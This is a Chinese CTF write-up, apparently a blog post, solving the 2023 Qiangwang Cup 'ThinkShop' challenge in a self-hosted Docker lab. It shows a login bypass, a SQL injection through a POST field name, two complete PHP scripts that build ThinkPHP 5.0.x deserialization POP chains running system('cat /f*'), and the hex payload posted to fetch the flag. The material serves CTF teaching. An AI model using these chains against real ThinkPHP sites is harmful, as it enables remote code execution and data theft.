[2023 强网杯qwb]ThinkShop

[2023 强网杯初赛]ThinkShop

注:参考链接https://mp.weixin.qq.com/s/7GY8b9GbR1raU1V5gDTBaQ

  • • 题目类型:CTF
  • • 题目名称:2023强网杯初赛 thinkshop[ping]
  • • 题目镜像:附件内,自行搭建
  • • 内部端口:80
  • • 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xdkZHcTl1VG14NzR1TUZudEMwX3lSQT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码)

0x00 启动脚本

下载附件后,阅读附件里的README.txt:

thinkshop:

docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop

thinkshopping:

docker load < thinkshopping.tar
docker run -tid --name thinkshop -p 36001:80 -e FLAG=flag{test_flag} 镜像ID

用goods_edit.html文件替换镜像中的/var/www/html/application/index/view/admin/goods_edit.html

0x01 信息收集

  1. 文件结构如下:

在这里插入图片描述

  1. 在根目录下能找到shop.sql和goods.sql,

​ 其中shop.sql中有在admin表中插入一行数据

INSERT INTO `user` (`username`, `password`) VALUES
('admin', 'ndbcsbvudsvpbusvbpsffdsbsdfbausbdfsdfsdfsdf');

​ 即admin,123456

  1. 再看看start.sh和restart.sh,看看都有啥(没啥

    service apache2 start
    # 启动mysql
    service mysql start
    # 启动php5.6-fpm
    service php5.6-fpm start
    nohup /nohup.sh > /dev/null 2>&1 & //nohup.sh是检查cpu使用率的
    mysql -e "source /shop.sql;" -uroot -proot
    mysql -e "source /goods.sql;" -uroot -proot
    memcached -d -m 50 -p 11211 -u root
    

0x02 正式开始

主要代码审计在:

/var/www/html/application/index/controller/Admin.php

/var/www/html/application/index/model/Goods.php

/var/www/html/application/index/model/Select.php

/var/www/html/application/index/model/Update.php

  1. 先看Admin.php,只有do_login()函数不用鉴权

        public function do_login()
        {
    
            $username = input('post.username');
            $password = input('post.password');
            
    
            // if (empty($username) || empty($password)) {
            //     $this->error('用户名或密码不能为空');
            // }
            // if(strlen($password) > 100)
            // {
            //     $this->error('用户名或密码错误');
            // }
    
            // 使用md5对输入的密码进行加密
            $encryptedPassword = md5($password);
    
            // 设置缓存键和有效期
            $Key = ["Login" , $username];
            $Expire = 600; // 缓存有效期为10分钟 (600秒)
    
            
            
            // 尝试从缓存中获取数据
            $adminData = Db::table('admin')  // 选择名为 'admin' 的数据库表
                        ->cache(true, $Expire)       // 启用查询结果的缓存,并设置过期时间为 $Expire(可能是一个变量)
                        ->find($username);           // 在数据库中查找与 $username 变量匹配的行
    
    // 这段代码从 'admin' 表中检索数据,并使用缓存来提高性能。
    // 查询结果将存储在 $adminData 变量中,可以根据需要进行后续处理和使用。
    
            
            
            
            
            if ($adminData && $adminData['password'] === $encryptedPassword) {
                // 登录成功,设置session
                session('admin', $adminData['username']);
    
    
                $this->success($username.'登录成功', 'index/admin/goods_edit');
            } else {
                $this->error('用户名或密码错误');
            }
        }
    
    

    下面这部分是重点:

            $adminData = Db::table('admin')
                ->cache(true, $Expire)
                ->find($username);//在find有参数的情况下,默认会去找数据表中的主键列,即id这一列,find('admin')的返回值为id,即1
    

在find有参数的情况下,默认会去找数据表中的主键列,即id这一列,find(‘admin’)的返回值为id,即1。

这里使用user = 1 pwd= 123456登录到后台http://192.168.126.129:36000/public/index.php/index/admin

  1. 进入后台,可以思考如何进行RCE了

在goods_edit.html中有,

{php}
            use app\index\model\Goods;
            $view=new Goods();
            echo $view->arrayToMarkdown(unserialize(base64_decode($goods['data'])));
            {/php}

商品信息这一栏会对$goods[‘data’]先base64decode,再反序列化

结合5.0.23的RCEpop链即可利用

  1. 但是如何控制$goods[‘data’]?

    寻找data

    在Admin.php中

        public function do_edit()
        {
            if(!session('?admin'))
            {
                $this->error('请先登录','index/admin/login');
            }
            $goodsModel = new Goods();
            $data = input('post.');
            $result = $goodsModel->saveGoods($data);
            if ($result) {
                $this->success('商品信息更新成功', 'index/index/index');
            } else {
                $this->error('商品信息更新失败');
            }
        }
    

    Goods.php->saveGoods()->->save()->Update.php->updatedata()

        public function saveGoods($data)
        {
            $data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
            return $this->save($data);
        }
    
        public function save($data){
            $update = new Update();
            return $update->updatedata($data , 'goods' , $data['id']);
        }
    
        public function updatedata($data, $table, $id)
        {
            if (!$this->connect()) {
                die('Error');
            } else {
                $sql = "UPDATE $table SET ";
                // 它将数组中的每个元素都赋值给 $value,并将对应的键赋值给 $key
                foreach ($data as $key => $value) {
                    $value = '' ;
                    $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";//原,存在sql注入,$key可控,就是do_edit()的post传参值
                    //反引号的作用就仅仅是个普通符号,没有特殊的用途,所以 注入语句中有 data`,这里的`就是为了闭合前面的`
        
                    //构造data`=unhex('RCE代码的hex放这里')/**/where/**/id=1/**/or/**/6=6#
                    $sql .= "`data`=unhex('yes')/**/where/**/id=1/**/or/**/6=6#` = unhex('" . bin2hex($value) . "'), ";
                    // 成功将特定的data插入goods表中
                    
                    
                }
    
                $sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
                return mysqli_query($this->connect(), $sql);
    
    
            }
        }
    
  2. ThinkPhp5.0.24 RCE POPCHAIN1(第一种脚本

    <?php
    namespace think\process\pipes{
        use think\model\Pivot;
        ini_set('display_errors',1);
        class Windows{
            private $files = [];
            public function __construct($function,$parameter)
            {
                $this->files = [new Pivot($function,$parameter)];
            }
        }
        $a = array(new Windows('system','cat /*'));
        echo bin2hex(base64_encode(serialize($a)));
    }
    namespace think{
        abstract class Model
        {}
    }
    namespace think\model{
        use think\Model;
        use think\console\Output;
        class Pivot extends Model
        {
            protected $append = [];
            protected $error;
            public $parent;
            public function __construct($function,$parameter)
            {
                $this->append['jelly'] = 'getError';
                $this->error = new relation\BelongsTo($function,$parameter);
                $this->parent = new Output($function,$parameter);
            }
        }
        abstract class Relation
        {}
    }
    namespace think\model\relation{
        use think\db\Query;
        use think\model\Relation;
        abstract class OneToOne extends Relation
        {}
        class BelongsTo extends OneToOne
        {
            protected $selfRelation;
            protected $query;
            protected $bindAttr = [];
            public function __construct($function,$parameter)
            {
                $this->selfRelation = false;
                $this->query = new Query($function,$parameter);
                $this->bindAttr = [''];
            }
        }
    }
    namespace think\db{
        use think\console\Output;
        class Query
        {
            protected $model;
            public function __construct($function,$parameter)
            {
                $this->model = new Output($function,$parameter);
            }
        }
    }
    namespace think\console{
        use think\session\driver\Memcache;
        class Output
        {
            protected $styles = [];
            private $handle;
            public function __construct($function,$parameter)
            {
                $this->styles = ['getAttr'];
                $this->handle = new Memcache($function,$parameter);
            }
        }
    }
    namespace think\session\driver{
        use think\cache\driver\Memcached;
        class Memcache
        {
            protected $handler = null;
            protected $config  = [
                'expire'       => '',
                'session_name' => '',
            ];
            public function __construct($function,$parameter)
            {
                $this->handler = new Memcached($function,$parameter);
            }
        }
    }
    namespace think\cache\driver{
        use think\Request;
        class Memcached
        {
            protected $handler;
            protected $options = [];
            protected $tag;
            public function __construct($function,$parameter)
            {
                // pop链中需要prefix存在,否则报错
                $this->options = ['prefix'   => 'jelly/'];
                $this->tag = true;
                $this->handler = new Request($function,$parameter);
            }
        }
    }
    namespace think{
        class Request
        {
            protected $get     = [];
            protected $filter;
            public function __construct($function,$parameter)
            {
                $this->filter = $function;
                $this->get = ["jelly"=>$parameter];
            }
        }
    }
    //59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246785161585a76644349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d547037637a6f314f694a715a57787365534937637a6f344f694a6e5a585246636e4a766369493766584d364f446f6941436f415a584a79623349694f3038364d7a4136496e526f61573572584731765a47567358484a6c624746306157397558454a6c624739755a334e55627949364d7a7037637a6f784e546f6941436f41633256735a6c4a6c6247463061573975496a74694f6a4137637a6f344f6949414b6742786457567965534937547a6f784e446f6964476870626d74635a474a635558566c636e6b694f6a453665334d364f446f6941436f416257396b5a5777694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f3331396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e74704f6a4137637a6f774f6949694f333139637a6f324f694a7759584a6c626e51694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f333139665831396658303d
    

ThinkPhp5.0.24 RCE POPCHAIN1(第二种脚本

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

        $this->append=['getError'];
        $this->error=new BelongsTo();
        $this->parent=new Output();
    }
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

    protected $model;
    public  function __construct()
    {
        $this->model=new Output();
    }
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;//去触发Memcached的链
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }

}
namespace think\cache;
abstract class Driver{

}

namespace think\session\driver;
use think\cache\driver\Memcache;//这里是write的方法
use think\cache\Driver;
class Memcached {
    protected $handler;
    public function __construct()
    {
        $this->handler = new Memcache();
    }

}
namespace think\cache\driver;
use think\Request;
class Memcache{
    protected $tag = "test";
    protected $handler;//触发Request的链
    protected $options = ['prefix'=>'goddemon/'];
    public function __construct()
    {
        $this->handler = new Request();
    }
}

namespace think;
class Request{
    protected $get = ["goddemon"=>'cat /f*'];
    protected $filter;
    public function __construct()
    {
        $this->filter = 'system';
    }
}
namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{

    /** @var array */
    private $files = [];
    public function __construct()
    {

        $this->files=[new Merge()];  }


}
echo bin2hex(base64_encode(serialize([new Windows])));
?>
//59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246784e5a584a6e5a5349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d54703761546f774f334d364f446f695a32563052584a79623349694f33317a4f6a67364967417141475679636d3979496a74504f6a4d774f694a3061476c75613178746232526c624678795a57786864476c76626c78435a577876626d647a564738694f6a493665334d364f446f6941436f416358566c636e6b694f3038364e444536496e526f6157357258475269584756345932567764476c76626c784e6232526c6245357664455a766457356b5258686a5a58423061573975496a6f784f6e747a4f6a673649674171414731765a475673496a74504f6a49774f694a3061476c756131786a6232357a6232786c5845393164484231644349364d6a7037637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f7a4d446f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a6147566b496a6f784f6e747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a49334f694a3061476c756131786a59574e6f5a56786b636d6c325a584a63545756745932466a614755694f6a4d3665334d364e6a6f6941436f416447466e496a747a4f6a5136496e526c633351694f334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364f446f695a32396b5a475674623234694f334d364e7a6f69593246304943396d4b69493766584d364f546f6941436f415a6d6c7364475679496a747a4f6a5936496e4e356333526c6253493766584d364d544136496741714147397764476c76626e4d694f3245364d547037637a6f324f694a77636d566d615867694f334d364f546f695a32396b5a47567462323476496a74396658317a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a74396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e747a4f6a5136496e526c633351694f334d364e446f696447567a644349376658317a4f6a6b364967417141484268636d567564434937547a6f794d446f6964476870626d746359323975633239735a56785064585277645851694f6a493665334d364d6a67364967423061476c756131786a6232357a6232786c58453931644842316441426f5957356b624755694f3038364d7a4136496e526f6157357258484e6c63334e70623235635a484a70646d56795845316c62574e685932686c5a4349364d547037637a6f784d446f6941436f41614746755a47786c63694937547a6f794e7a6f6964476870626d74635932466a614756635a484a70646d56795845316c62574e685932686c496a6f7a4f6e747a4f6a593649674171414852685a794937637a6f304f694a305a584e30496a747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a457a4f694a3061476c75613178535a5846315a584e30496a6f794f6e747a4f6a5936496741714147646c6443493759546f784f6e747a4f6a6736496d64765a47526c62573975496a747a4f6a6336496d4e68644341765a696f694f33317a4f6a6b364967417141475a706248526c63694937637a6f324f694a7a65584e305a5730694f33317a4f6a45774f6949414b674276634852706232357a496a74684f6a453665334d364e6a6f6963484a6c5a6d6c34496a747a4f6a6b36496d64765a47526c625739754c79493766583139637a6f354f6949414b67427a64486c735a584d694f3245364d54703761546f774f334d364e7a6f695a32563051585230636949376658313966583139

FINAL PAYLOAD

在http://192.168.126.129:36000/public/index.php/index/admin/do_edit.html处,Post

data`%3Dunhex('59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246784e5a584a6e5a5349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d54703761546f774f334d364f446f695a32563052584a79623349694f33317a4f6a67364967417141475679636d3979496a74504f6a4d774f694a3061476c75613178746232526c624678795a57786864476c76626c78435a577876626d647a564738694f6a493665334d364f446f6941436f416358566c636e6b694f3038364e444536496e526f6157357258475269584756345932567764476c76626c784e6232526c6245357664455a766457356b5258686a5a58423061573975496a6f784f6e747a4f6a673649674171414731765a475673496a74504f6a49774f694a3061476c756131786a6232357a6232786c5845393164484231644349364d6a7037637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f7a4d446f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a6147566b496a6f784f6e747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a49334f694a3061476c756131786a59574e6f5a56786b636d6c325a584a63545756745932466a614755694f6a4d3665334d364e6a6f6941436f416447466e496a747a4f6a5136496e526c633351694f334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364f446f695a32396b5a475674623234694f334d364e7a6f69593246304943396d4b69493766584d364f546f6941436f415a6d6c7364475679496a747a4f6a5936496e4e356333526c6253493766584d364d544136496741714147397764476c76626e4d694f3245364d547037637a6f324f694a77636d566d615867694f334d364f546f695a32396b5a47567462323476496a74396658317a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a74396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e747a4f6a5136496e526c633351694f334d364e446f696447567a644349376658317a4f6a6b364967417141484268636d567564434937547a6f794d446f6964476870626d746359323975633239735a56785064585277645851694f6a493665334d364d6a67364967423061476c756131786a6232357a6232786c58453931644842316441426f5957356b624755694f3038364d7a4136496e526f6157357258484e6c63334e70623235635a484a70646d56795845316c62574e685932686c5a4349364d547037637a6f784d446f6941436f41614746755a47786c63694937547a6f794e7a6f6964476870626d74635932466a614756635a484a70646d56795845316c62574e685932686c496a6f7a4f6e747a4f6a593649674171414852685a794937637a6f304f694a305a584e30496a747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a457a4f694a3061476c75613178535a5846315a584e30496a6f794f6e747a4f6a5936496741714147646c6443493759546f784f6e747a4f6a6736496d64765a47526c62573975496a747a4f6a6336496d4e68644341765a696f694f33317a4f6a6b364967417141475a706248526c63694937637a6f324f694a7a65584e305a5730694f33317a4f6a45774f6949414b674276634852706232357a496a74684f6a453665334d364e6a6f6963484a6c5a6d6c34496a747a4f6a6b36496d64765a47526c625739754c79493766583139637a6f354f6949414b67427a64486c735a584d694f3245364d54703761546f774f334d364e7a6f695a32563051585230636949376658313966583139')/**/where/**/id%3D1/**/or/**/6%3D6#=1&id=1&name=a&price=100.00&image=1&data=

页面错误!请稍后再试~

ThinkPHP V5.0.23 { 十年磨一剑-为API开发设计的高性能框架 }

flag=flag{test_flag}

  • 18
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值